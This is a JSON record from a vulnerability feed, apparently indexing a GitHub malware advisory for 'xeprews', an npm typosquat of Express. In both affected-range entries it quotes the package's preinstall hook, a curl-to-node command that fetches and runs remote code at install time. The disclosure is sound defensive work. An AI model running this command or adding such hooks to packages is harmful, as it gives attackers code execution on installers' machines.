{"items":[{"id":"NVI-00009870","kind":"supply_chain_event","title":"Malicious code in xeprews (npm)","revision":1,"unknowns":["Customer inventory, deployment, reachability and exploitation have not been inspected."],"lifecycle":"active","identifiers":["GHSA-v76j-vqp4-68j8"],"plain_summary":"GitHub lists this malware advisory for xeprews, xeprews. Published version ranges and source prerequisites are shown below; this is not an inspection of a visitor’s application.","review_status":"source_listed","control_topics":[],"public_actions":[{"summary":"Identify the exact component and deployed version, examine the linked publisher’s conditions, and retain evidence of any mitigation.","source_ids":["sr-7c5ca9da32268f504218e9a9d7ffef62"],"action_type":"investigate","limitations":"Confirm current vendor support, compatibility and deployment evidence. This report has not tested a fix in your system.","current_supported_target":null}],"schema_version":"1.1.0","source_metrics":[],"why_it_matters":"Published affected context helps an owner decide what evidence to gather. This report has not examined your application.","related_sources":[{"id":"sr-7c5ca9da32268f504218e9a9d7ffef62","url":"https://github.com/advisories/GHSA-v76j-vqp4-68j8","basis":"vendor_advisory","notes":"GitHub Advisory Database; CC-BY-4.0. Each advisory links its original attribution. Null normalizes fields.","title":"GHSA-v76j-vqp4-68j8","publisher":"GitHub Advisory Database","observed_at":"2026-10-31T22:07:22.853Z"}],"affected_context":[{"certainty":"source_listed","source_ids":["sr-7c5ca9da32268f504218e9a9d7ffef62"],"technology":"xeprews","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (17facf9b3612b1338fbda61069db829317150a9e7dbcc38cf96abbee1baa29b2)\nxeprews is an Express typosquat whose package.json declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party mutable branch (no commit pin, no integrity check) and executing it under Node on the installer's machine at `npm install` time. The package impersonates expressjs/express by copying its author, repository, homepage, and description metadata, and ships only a stub index.js that re-exports './lib/express'; the impersonation is the lure that induces the install and thereby the remote code execution. Whoever controls the codeberg branch (or the archive.org replay of it) controls arbitrary code execution on every installer.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 5.2.1"]},{"certainty":"source_listed","source_ids":["sr-7c5ca9da32268f504218e9a9d7ffef62"],"technology":"xeprews","known_exclusions":[],"conditions_summary":"## Source: amazon-inspector (17facf9b3612b1338fbda61069db829317150a9e7dbcc38cf96abbee1baa29b2)\nxeprews is an Express typosquat whose package.json declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party mutable branch (no commit pin, no integrity check) and executing it under Node on the installer's machine at `npm install` time. The package impersonates expressjs/express by copying its author, repository, homepage, and description metadata, and ships only a stub index.js that re-exports './lib/express'; the impersonation is the lure that induces the install and thereby the remote code execution. Whoever controls the codeberg branch (or the archive.org replay of it) controls arbitrary code execution on every installer.\n\n---\n\nCredit: OpenSSF (source)","public_affected_ranges":["= 5.2.2"]}],"null_published_at":"2026-10-31T22:13:39.951Z","source_updated_at":"2026-10-06T00:34:12.000Z","source_disclosed_at":"2026-09-29T15:31:03.000Z","is_synthetic_fixture":false,"null_last_reviewed_at":null,"public_change_summary":"First indexed by Null; source disclosure date is shown separately.","null_first_observed_at":"2026-10-31T22:07:22.853Z"}],"next_cursor":null,"snapshot_revision":"42594"}